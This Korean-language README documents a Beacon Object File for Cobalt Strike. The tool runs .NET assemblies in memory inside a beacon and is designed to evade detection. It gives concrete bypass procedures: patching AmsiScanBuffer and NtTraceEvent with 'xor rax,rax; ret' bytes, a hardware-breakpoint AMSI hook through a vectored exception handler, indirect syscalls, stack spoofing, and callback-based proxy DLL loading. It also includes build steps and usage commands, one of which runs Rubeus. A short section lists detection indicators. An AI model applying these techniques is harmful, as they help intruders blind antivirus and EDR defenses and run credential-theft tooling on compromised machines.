
탐지 회피 기법을 사용하여 beacon 내에서 .NET 어셈블리를 실행하는 Cobalt Strike용 Beacon Object File.
Cobalt Strike용 Beacon Object File로, 회피 기법을 사용하여 비콘에서 .NET 어셈블리를 실행합니다.
┌──────────────────────────────────────────────────────────────────────────────┐
│ Cobalt Strike Beacon │
│ (Parent Process) │
└──────────────────────────────────┬───────────────────────────────────────────┘
│
│ beacon_inline_execute()
│ - Parse packed arguments
│ - Call go()
▼
┌──────────────────────────────────────────────────────────────────────────────┐
│ BOF Execute-Assembly Entry (go) │
│ ┌────────────────────────────────────────────────────────────────────────┐ │
│ │ Configuration Parsing │ │
│ │ • ProxyMethod (None/Draugr/Timer/RegWait) │ │
│ │ • AmsiEvasion (None/Patch/HWBP) │ │
│ │ • EtwEvasion (None/Patch) │ │
│ │ • PipeName, AppDomainName, Assembly bytes, Arguments │ │
│ └────────────────────────────────┬───────────────────────────────────────┘ │
│ │ │
│ ┌────────────────────────────────▼───────────────────────────────────────┐ │
│ │ Framework Initialization │ │
│ │ • InitVxTable() - Resolve syscall numbers │ │
│ │ └─> NtProtectVirtualMemory, NtContinue, NtCreateEvent, │ │
│ │ NtSetEvent, NtWaitForSingleObject, NtClose │ │
│ │ • DraugrInit() - Setup synthetic stack frames │ │
│ │ └─> Locate RtlUserThreadStart, BaseThreadInitThunk │ │
│ └────────────────────────────────┬───────────────────────────────────────┘ │
│ │ │
│ ┌────────────────────────────────▼───────────────────────────────────────┐ │
│ │ DLL Loading (ProxyLoadLibraryA) │ │
│ │ • amsi.dll, OleAut32.dll, mscoree.dll, User32.dll │ │
│ │ │ │
│ │ PROXY_NONE: LoadLibraryA() directly │ │
│ │ PROXY_DRAUGR: DRAUGR_API(LoadLibraryA) - spoofed stack │ │
│ │ PROXY_TIMER: CreateTimerQueue → Timer callback │ │
│ │ PROXY_REGWAIT: RegisterWaitForSingleObject → Event callback │ │
│ └────────────────────────────────┬───────────────────────────────────────┘ │
│ │ │
│ ┌────────────────────────────────▼───────────────────────────────────────┐ │
│ │ AMSI Evasion Setup │ │
│ │ │ │
│ │ AMSI_PATCH: AMSI_HWBP: │ │
│ │ ┌─────────────────────────┐ ┌──────────────────────────────┐ │ │
│ │ │ 1. Backup 4 bytes │ │ 1. Add VEH Handler │ │ │
│ │ │ 2. NtProtectVirtualMem │ │ 2. RtlCaptureContext │ │ │
│ │ │ (RW) │ │ 3. Set DR0 = AmsiScanBuffer │ │ │
│ │ │ 3. Write: │ │ 4. Enable DR7 breakpoint │ │ │
│ │ │ 48 31 C0 xor rax,rax│ │ 5. NtContinue (apply ctx) │ │ │
│ │ │ C3 ret │ │ │ │ │
│ │ │ 4. NtProtectVirtualMem │ │ On AmsiScanBuffer call: │ │ │
│ │ │ (restore) │ │ → #BP Exception │ │ │
│ │ └─────────────────────────┘ │ → VEH redirects to RET │ │ │
│ │ │ → RAX = 0 │ │ │
│ │ └──────────────────────────────┘ │ │
│ └────────────────────────────────┬───────────────────────────────────────┘ │
│ │ │
│ ┌────────────────────────────────▼───────────────────────────────────────┐ │
│ │ ETW Evasion (if enabled) │ │
│ │ • NtProtectVirtualMemory(NtTraceEvent, RW) │ │
│ │ • Backup 4 bytes │ │
│ │ • Write: 48 31 C0 C3 (xor rax,rax; ret) │ │
│ │ • NtProtectVirtualMemory(restore protection) │ │
│ └────────────────────────────────┬───────────────────────────────────────┘ │
│ │ │
│ ┌────────────────────────────────▼───────────────────────────────────────┐ │
│ │ Output Redirection Setup │ │
│ │ ┌──────────────────────────────────────────────────────────────────┐ │ │
│ │ │ 1. CreateNamedPipeW(\\.\pipe\{CustomName}) → hPipe │ │ │
│ │ │ 2. CreateFileW(pipe path) → hFile │ │ │
│ │ │ 3. AllocConsole() + ShowWindow(SW_HIDE) → Hidden console │ │ │
│ │ │ │ │ │
│ │ │ 4. PEB Manipulation: │ │ │
│ │ │ • Backup: hCurrentStdOut = PEB->ProcessParameters->StdOut │ │ │
│ │ │ • Backup: hCurrentStdErr = PEB->ProcessParameters->StdErr │ │ │
│ │ │ • Redirect: PEB->StdOut = hFile │ │ │
│ │ │ • Redirect: PEB->StdErr = hFile │ │ │
│ │ └──────────────────────────────────────────────────────────────────┘ │ │
│ └────────────────────────────────┬───────────────────────────────────────┘ │
│ │ │
│ ┌────────────────────────────────▼───────────────────────────────────────┐ │
│ │ CLR Hosting & Assembly Execution (ExecuteAssembly) │ │
│ │ ┌──────────────────────────────────────────────────────────────────┐ │ │
│ │ │ 1. CLR Version Detection │ │ │
│ │ │ • Scan assembly bytes for "v2.0.50727" or "v4.0.30319" │ │ │
│ │ │ │ │ │
│ │ │ 2. CLR Initialization │ │ │
│ │ │ • CLRCreateInstance → ICLRMetaHost │ │ │
│ │ │ • GetRuntime(v2/v4) → ICLRRuntimeInfo │ │ │
│ │ │ • GetInterface → ICorRuntimeHost │ │ │
│ │ │ • Start() │ │ │
│ │ │ │ │ │
│ │ │ 3. AppDomain Management │ │ │
│ │ │ • GetDefaultDomain() → Default AppDomain │ │ │
│ │ │ • CreateDomain(CustomName) → Isolated AppDomain │ │ │
│ │ │ │ │ │
│ │ │ 4. Assembly Loading │ │ │
│ │ │ • Create SAFEARRAY (VT_UI1) with assembly bytes │ │ │
│ │ │ • SafeArrayAccessData → Copy assembly to safe array │ │ │
│ │ │ • CustomAppDomain->Load_3(safearray) → Load in memory │ │ │
│ │ │ │ │ │
│ │ │ 5. Argument Preparation │ │ │
│ │ │ • Parse space-delimited arguments │ │ │
│ │ │ • Create SAFEARRAY(VT_BSTR) for each argument │ │ │
│ │ │ • Wrap in VARIANT structure │ │ │
│ │ │ │ │ │
│ │ │ 6. Execution │ │ │
│ │ │ • Assembly->EntryPoint() → Get Main() MethodInfo │ │ │
│ │ │ • MethodInfo->Invoke_3(arguments) → Execute │ │ │
│ │ │ └─> Assembly writes to Console │ │ │
│ │ │ └─> Redirected to hFile → Named Pipe │ │ │
│ │ │ │ │ │
│ │ │ 7. Cleanup │ │ │
│ │ │ • Release COM interfaces (MethodInfo, Assembly, etc.) │ │ │
│ │ │ • UnloadDomain(CustomAppDomain) → Full unload │ │ │
│ │ │ • FreeLibrary(mscoree.dll) │ │ │
│ │ └──────────────────────────────────────────────────────────────────┘ │ │
│ └────────────────────────────────┬───────────────────────────────────────┘ │
│ │ │
│ ┌────────────────────────────────▼───────────────────────────────────────┐ │
│ │ Output Capture & Display │ │
│ │ • Restore PEB: StdOut/StdErr = original handles │ │
│ │ • Allocate buffer (0x10000 bytes) │ │
│ │ • ReadFile(hPipe) → Capture assembly output │ │
│ │ • BeaconPrintf(CALLBACK_OUTPUT, output) → Display to operator │ │
│ └────────────────────────────────┬───────────────────────────────────────┘ │
│ │ │
│ ┌────────────────────────────────▼───────────────────────────────────────┐ │
│ │ Cleanup & Restoration │ │
│ │ • free(pAssemblyStdOut) │ │
│ │ • NtClose(hFile, hPipe) │ │
│ │ • FreeConsole() │ │
│ │ │ │
│ │ if (AMSI_PATCH): │ │
│ │ • RestoreAmsi() - Write original 4 bytes back │ │
│ │ │ │
│ │ if (AMSI_HWBP): │ │
│ │ • RemoveHwbp() - Clear debug registers │ │
│ │ • RemoveVectoredExceptionHandler(VehHandler) │ │
│ │ │ │
│ │ if (ETW_PATCH): │ │
│ │ • RestoreEtw() - Write original 4 bytes back │ │
│ │ │ │
│ │ • Restore PEB: StdOut/StdErr = original │ │
│ └────────────────────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────────────────┘
│
│ Return to Beacon
▼
┌──────────────────────────────────────────────────────────────────────────────┐
│ Beacon continues execution │
│ (BOF memory cleaned up) │
└──────────────────────────────────────────────────────────────────────────────┘
| 방법 | 설명 |
|---|---|
None | 직접 API 호출 |
Draugr | Draugr를 통한 스택 위조 API 호출 |
Regwait | RegisterWaitForSingleObject 콜백 실행 |
| 방법 | 설명 |
|---|---|
None | AMSI 우회 없음 |
Patch | AMSI!AmsiScanBuffer 메모리 패치 (xor rax,rax; ret) |
HWBP | VEH를 통한 AMSI!AmsiScanBuffer 하드웨어 중단점 후크 |
| 방법 | 설명 |
|---|---|
None | ETW 우회 없음 |
Patch | NTDLL!NtTraceEvent 메모리 패치 (xor rax,rax; ret) |
| 매개변수 | 설명 | 예시 |
|---|---|---|
| PipeName | 어셈블리 출력 캡처를 위한 명명된 파이프 이름 | P1p3N4m3 |
| AppDomain | 어셈블리 격리를 위한 사용자 지정 .NET AppDomain 이름 | Tot4lL3g1t |
LoadLibraryA("amsi.dll") → 직접 호출
DRAUGR_API(LoadLibraryA, "amsi.dll")
│
├─ 합성 스택 구성
├─ 반환 주소 스푸핑
└─ 간접 실행
CreateTimerQueue() → CreateTimerQueueTimer(
callback = LoadLibraryA,
parameter = "amsi.dll",
dueTime = 100ms
) → 대기 → DeleteTimerQueueEx()
CreateEvent() → RegisterWaitForSingleObject(
event,
callback = LoadLibraryA,
context = "amsi.dll"
) → SetEvent() → UnregisterWait()
패치 전: 패치 후:
AmsiScanBuffer: AmsiScanBuffer:
4C 8B DC mov r11, rsp 48 31 C0 xor rax, rax
49 89 5B 08 mov [r11+8], rbx C3 ret
... ...
결과: 모든 검사는 S_OK(깨끗함) 반환
방법:
xor rax, rax; ret 쓰기설정:
1. AddVectoredExceptionHandler
2. RtlCaptureContext
3. DR0 = AmsiScanBuffer 주소 설정
4. DR7 중단점 플래그 활성화
5. NtContinue (컨텍스트 적용)
실행 흐름:
AmsiScanBuffer 호출됨
│
▼
#BP 예외 (EXCEPTION_SINGLE_STEP)
│
▼
VEH 핸들러가 가로챔
│
├─ RIP == AmsiScanBuffer 확인
├─ RIP = FindRetInstruction(AmsiScanBuffer) 설정
├─ RAX = 0 (S_OK) 설정
└─ TF(트랩 플래그) 설정
│
▼
RAX=0으로 반환
전: 후:
NtTraceEvent: NtTraceEvent:
4C 8B D1 mov r10, rcx 48 31 C0 xor rax, rax
B8 XX XX mov eax, syscall C3 ret
표준 어셈블리 (BOF 없음): BOF Execute-Assembly:
Assembly → Console.WriteLine 1. \\.\pipe\{name} 생성
│ │
▼ ▼
출력 손실 2. 파이프를 파일 핸들로 열기
│
▼
3. PEB 핸들 리디렉션:
• StdOut → 파이프
• StdErr → 파이프
│
▼
4. 어셈블리 실행
│
▼
5. ReadFile(파이프)
│
▼
6. BeaconPrintf → 운영자
메모리 보호 변경:
NtProtectVirtualMemory 호출은 EtwTiLogReadWriteVm을 통해 기록됨amsi.dll .text 섹션에서 RW→RX 전환 발생ntdll.dll .text 섹션에서 RW→RX 전환 발생탐지: 로드된 모듈의 메모리 보호 변경은 강력한 지표입니다.
명명된 파이프 생성:
\\.\pipe\* 경로를 사용한 NtCreateFile은 미니필터 드라이버에 표시됨모듈 로딩:
LdrLoadDll 이벤트를 기록함스레드 컨텍스트 조작 (HWBP 방식):
AllocConsole + ShowWindow(SW_HIDE))Cobalt Strike → Script Manager → Load → BOF_ExecuteAssembly.cna
메뉴: Additionals postex → Execute-Assembly Config

BOF_ExecuteAssembly --assembly /tmp/Ghostpack-CompiledBinaries/Rubeus.exe --args help

beacon> help BOF_ExecuteAssembl

Dockerfile 사용:
sudo docker build -t ubuntu-gcc-13 .
sudo docker run --rm -it -v "$PWD":/work -w /work ubuntu-gcc-13:latest make
또는 시스템에 nasm, make, mingw-w64(gcc-13 호환)가 설치된 경우:
make
출력: Bin/BOF_ExecuteAssembly.o
Timer | 타이머 큐 콜백 실행 |
| 기법 | 우회 대상 |
|---|
| 간접 시스템 콜 | 사용자 영역 API 후크 (EDR/AV) |
| Draugr 스택 스푸핑 | 호출 스택 검사 도구 |
| AMSI 패치/HWBP | .NET 어셈블리 스캔 |
| ETW 패치 | 이벤트 기반 모니터링 |
| 프록시 DLL 로딩 | LoadLibrary 스택프레임 모니터링 |
| 명명된 파이프 가변성 | 파이프 모니터링 |
| 사용자 지정 AppDomain | 기본 AppDomain 모니터링 |